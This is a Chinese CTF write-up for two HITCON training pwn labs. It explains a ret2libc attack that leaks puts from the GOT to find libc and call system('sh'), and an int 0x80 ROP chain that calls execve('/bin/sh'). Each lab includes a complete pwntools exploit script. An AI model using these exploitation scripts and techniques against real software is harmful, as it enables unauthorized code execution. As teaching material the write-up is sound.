Pwn-10月24-hitcon(二)
继续hitcon的解题之路。
lab4 - ret2lib
拿到题目看题目名,和lab3的ret2sc差不多,这个应该是return to libc,也是一种攻击手法。泄露libc并且leak出libc基地址,从而getshell??
检查保护措施
checksec ret2lib
:
逻辑分析
简单跑一下:
程序让我们输入一个地址,以整型的形式输入,然后它会返回这个地址存有的内容给我们,然后让我们
leave some message
,并且打印出来,我们可以通过这个功能从GOT表中将一些函数的真实地址打印出来,然后通过libc文件中函数的偏移量计算基地址,例如将某一个函数的GOT条目的地址传给write函数,就可以泄漏这个函数在进程空间中的真实地址,GOT表中所存的puts函数的地址便是在ret2lib进程中的实际地址。IDA里面看看:
通过命令
readelf -V ret2lib
可以查到其libc库版本为libc.so.6
:通过pwntools的elf模块我们可以链接该libc.so.6库,简单看看里面的函数地址:
同样针对这题可以使用IDA
alt + t
来查找GOT表puts地址,也可通过上述ELF模块链接ret2lib程序,通过elf.got['puts']
来获取GOT表中puts条目地址:将134520860作为我们需要获得内容的地址输入程序:
Do you know return to library ? ############################### What do you want to see in memory? Give me an address (in dec) :134520860 The content of the address : 0xf7639250
然后我们就得到了puts函数条目在存在GOT表中的内容,即此次程序运行时puts函数的真实地址
0xf7639250
。libc基地址计算:libcbase_addr = puts_addr - libc_puts = 0xf7639250 - 0x67250 = 0xf75d2000
这里我只是简单的展示一下计算方法,实际上在程序运行过程中libc的基地址是会发生变化的,所以不能提前计算好基地址,再写exp,要在exp里面计算基地址,这样就不会出错。
既然已经可以计算出system函数的地址了,那么我们就需要找一个sh,可以寻找binary程序本身中的字符串,也可以使用libc中的:
然后我们可以通过Print_message()函数溢出,覆盖EIP的值使其跳转执行system函数:
可以看到padding长度为60,接下来写exp即可.
构造exp
libcbase_addr = puts_addr - libc_puts
system_addr = libcbase_addr + libc.symbols['system']
return_addr = 'anything'
exp:
#!/usr/bin/env python #coding:utf-8 from pwn import * io = process("./ret2lib") elf = ELF("./ret2lib") libc = ELF("/lib/i386-linux-gnu/libc.so.6") libc_puts = libc.symbols["puts"] io.sendlineafter(" :", str(elf.got["puts"])) io.recvuntil(" : ") libcbase_addr = int(io.recvuntil("\n"), 16) - libc_puts return_addr = 0x0804857D #main函数地址 success("libcbase_addr -> {:#x}".format(libcbase_addr)) system_addr = libcbase_addr + libc.symbols["system"] payload = flat(cyclic(60), system_addr, return_addr, next(elf.search("sh\x00"))) #sh\x00是因为可能匹配到其他字符串,从而加个截断 io.sendlineafter(" :", payload) io.interactive() io.close()
运行效果:
lab5-simplerop
simplerop ==> easyrop ==> babyrop?经历绝望的过程?,又是一个构造ropchain的题目。
检查保护措施
checksec ./simplerop
开启了NX,栈不可执行防护。
逻辑分析
通过ida看看:
逻辑十分简单,就溢出然后构造rop chain,通过gdb动态调试得到溢出点,padding为32:
但是这个题型貌似叫:
ret2systemcall
,此程序中既无system函数,也无/bin/sh字符串,还是静态编译,新姿势 ==>rop chain后 int 0x80中断从而执行系统调用==>execve(/bin/sh)
。原理:通过一系列 pop|ret 等gadget,使得 eax = 0xb(execve 32 位下的系统调用号),ebx -> /bin/sh, ecx = edx = 0,然后通过
int 0x80
实现系统调用,执行 execve(“/bin/sh”, 0, 0)
不知道为啥我的ROPgadget查不到我们想要的gadget。
构造exp
exp:
#!/usr/bin/env python #coding:utf-8 from pwn import* p = process('./simplerop') elf = ELF('./simplerop') pop_edx_ecx_ebx = 0x0806eca0 pop_eax = 0x080b7e26 pop_edx = 0x0806ec7a int_80 = 0x0806c8f5 gadget = 0x080707b9 # mov word ptr [edx],eax bss = elf.bss() read_plt = elf.symbols['read'] p.recv() payload = 'a'*32 + p32(pop_edx) +p32(bss)+ p32(pop_eax) +"/bin"+ p32(gadget) payload += p32(pop_edx) + p32(bss+4) + p32(pop_eax) + "/sh\x00" + p32(gadget) payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss) payload += p32(pop_eax) + p32(0xb) payload += p32(int_80) p.send(payload) p.interactive()
运行效果:
小结
内容涉及: libc泄露,leak libc基地址,ropchain系统调用(int 0x80)。
ropchain系统调用原理:在无system函数,/bin/sh可用的情况下,通过一系列 pop|ret 等gadget,使得 eax = 0xb(execve 32 位下的系统调用号),ebx -> /bin/sh, ecx = edx = 0,然后通过 int 0x80
实现系统调用,执行 execve(“/bin/sh”, 0, 0)。